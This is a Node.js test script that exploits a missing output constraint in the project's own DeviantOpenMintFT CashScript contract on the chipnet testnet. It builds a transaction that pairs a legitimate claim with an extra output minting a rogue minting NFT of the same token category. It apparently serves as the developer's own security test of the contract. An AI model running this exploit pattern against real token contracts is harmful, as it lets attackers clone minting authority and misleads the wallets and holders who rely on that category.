#!/usr/bin/env node /** * chipnet-attack-rogue-nft.mjs — does the contract allow claimers to grab * a rogue minting NFT of the same category? * * Test: Wallet B calls claim(1, walletBBytecode) on Token A normally, BUT * appends an extra output containing a new minting NFT of Token A's * category, sent to Wallet B's token-address. * * Per CHIP-2022-02-CashTokens consensus, a minting NFT input authorises * arbitrarily many new NFTs of the same category in outputs — any * capability. Our DeviantOpenMintFT contract constrains only outputs * [0], [1], and (when feeBps > 0) [2]. It does not constrain outputs * beyond that. So if the attacker adds output[2] (since feeBps=0 on * Token A, no constraint there either) carrying a fresh minting NFT, * consensus should accept it. * * Expected result: ATTACK SUCCEEDS. Wallet B walks away with a legit * Token A FT UTXO AND a rogue minting NFT for Token A's category. * * Significance: an attacker can clone the declaration authority of any * Deviant token they have BCH to claim from. The reservoir is unaffected, * the rate peg is unaffected, but the category now has multiple minting * NFTs — wallets relying on "is this the canonical declaration" will * have trouble. */ import { readFileSync } from 'node:fs'; import { join } from 'node:path'; import { TestNetWallet } from 'mainnet-js'; import { Contract, ElectrumNetworkProvider, TransactionBuilder, SignatureTemplate, } from 'cashscript'; const ROOT = join(import.meta.dirname, '..'); const KEYS_B = join(ROOT, '.chipnet-keys-b.json'); const TOKENS_FILE = join(ROOT, 'ChipnetTests', '.chipnet-tokens.json'); const ARTIFACT_PATH = join(ROOT, 'contracts/dist/DeviantOpenMintFT.json'); const CLAIM_AMOUNT = 1n; // tiny legitimate claim, just enough to exercise the path function hexToBin(hex) { if (hex.length % 2 !== 0) throw new Error(`odd hex length: ${hex.length}`); const out = new Uint8Array(hex.length / 2); for (let i = 0; i < out.length; i++) out[i] = parseInt(hex.slice(i * 2, i * 2 + 2), 16); return out; } function txidToConsensusBytes(txidHex) { const display = hexToBin(txidHex); const out = new Uint8Array(display.length); for (let i = 0; i < display.length; i++) out[i] = display[display.length - 1 - i]; return out; } function p2pkhLockingBytecode(pkh) { const out = new Uint8Array(25); out[0] = 0x76; out[1] = 0xa9; out[2] = 0x14; out.set(pkh, 3); out[23] = 0x88; out[24] = 0xac; return out; } function divider() { console.log('='.repeat(72)); } async function main() { const { wif } = JSON.parse(readFileSync(KEYS_B, 'utf8')); const tokens = JSON.parse(readFileSync(TOKENS_FILE, 'utf8')); const tokenA = tokens.tokens.find((t) => t.name === 'TokenA'); const artifact = JSON.parse(readFileSync(ARTIFACT_PATH, 'utf8')); const attacker = await TestNetWallet.fromWIF(wif); const provider = new ElectrumNetworkProvider('chipnet'); const sigTemplate = new SignatureTemplate(attacker.privateKey); const tokenCategory = txidToConsensusBytes(tokenA.categoryId); const founderLockingBytecode = hexToBin(tokenA.founderLockingBytecodeHex); const contract = new Contract( artifact, [tokenCategory, BigInt(tokenA.rateSats), BigInt(tokenA.founderFeeBps), founderLockingBytecode], { provider }, ); const reservoirUtxos = await provider.getUtxos(contract.tokenAddress); const reservoir = reservoirUtxos.find( (u) => u.token?.nft?.capability === 'minting' && u.token?.category === tokenA.categoryId, ); if (!reservoir) throw new Error('Reservoir not found at Token A contract'); const attackerUtxos = await provider.getUtxos(attacker.cashaddr); const bchUtxos = attackerUtxos.filter((u) => !u.token); if (bchUtxos.length === 0) throw new Error('Attacker has no BCH UTXO'); const feeInput = bchUtxos[0]; const rateSats = BigInt(tokenA.rateSats); const grossSats = CLAIM_AMOUNT * rateSats; // 1000 sats backing for legit claim const rogueNftSats = 1000n; // dust for the rogue NFT UTXO const minerFee = 3000n; // generous; more outputs than usual const recipientLockingBytecode = p2pkhLockingBytecode(attacker.publicKeyHash); const reservoirRemaining = reservoir.token.amount - CLAIM_AMOUNT; const inputTotal = BigInt(reservoir.satoshis) + BigInt(feeInput.satoshis); const change = inputTotal - 1000n - grossSats - rogueNftSats - minerFee; if (change < 546n) { throw new Error(`Change ${change} below dust. inputs=${inputTotal} ...`); } divider(); console.log('TOKEN A ROGUE MINTING NFT ATTACK'); divider(); console.log(` Target contract: ${contract.tokenAddress}`); console.log(` Legit claim: ${CLAIM_AMOUNT} Token A units (${grossSats} sat backing)`); console.log(` Rogue grab: 1 minting NFT of Token A category to Wallet B`); console.log(` Total BCH outflow: ${grossSats + rogueNftSats + minerFee} sats (claim + NFT dust + fee)`); console.log(` Attacker BCH input: ${feeInput.satoshis} sats`); console.log(` Change: ${change} sats`); divider(); const tb = new TransactionBuilder({ provider }); tb.addInput(reservoir, contract.unlock.claim(CLAIM_AMOUNT, recipientLockingBytecode)); tb.addInput(feeInput, sigTemplate.unlockP2PKH()); // [0] Reservoir back to contract — constrained by contract. tb.addOutput({ to: contract.tokenAddress, amount: 1000n, token: { amount: reservoirRemaining, category: tokenA.categoryId, nft: { capability: 'minting', commitment: '' }, }, }); // [1] Legit FT to Wallet B — constrained by contract. tb.addOutput({ to: attacker.tokenaddr, amount: grossSats, token: { amount: CLAIM_AMOUNT, category: tokenA.categoryId }, }); // [2] ROGUE MINTING NFT to Wallet B — UNCONSTRAINED by contract. // Token A's feeBps == 0, so no fee output is required, and no // `tx.outputs[2].tokenCategory == 0x` check fires. This output can // carry whatever it wants. Consensus permits a new minting NFT here // because the reservoir input has minting capability. tb.addOutput({ to: attacker.tokenaddr, amount: rogueNftSats, token: { amount: 0n, category: tokenA.categoryId, nft: { capability: 'minting', commitment: '' }, }, }); // [3] BCH change. tb.addOutput({ to: attacker.cashaddr, amount: change }); const sent = await tb.send(); const txid = typeof sent === 'string' ? sent : sent?.txid ?? sent?.txId; console.log(''); console.log(`*** ROGUE-NFT ATTACK TXID: ${txid} ***`); divider(); console.log('Verify: Wallet B should now hold (a) the legit FT UTXO and'); console.log('(b) a rogue minting NFT for Token A category.'); } main().catch((err) => { console.error('FAILED:', err?.message ?? err); if (err?.stack) console.error(err.stack); process.exit(1); });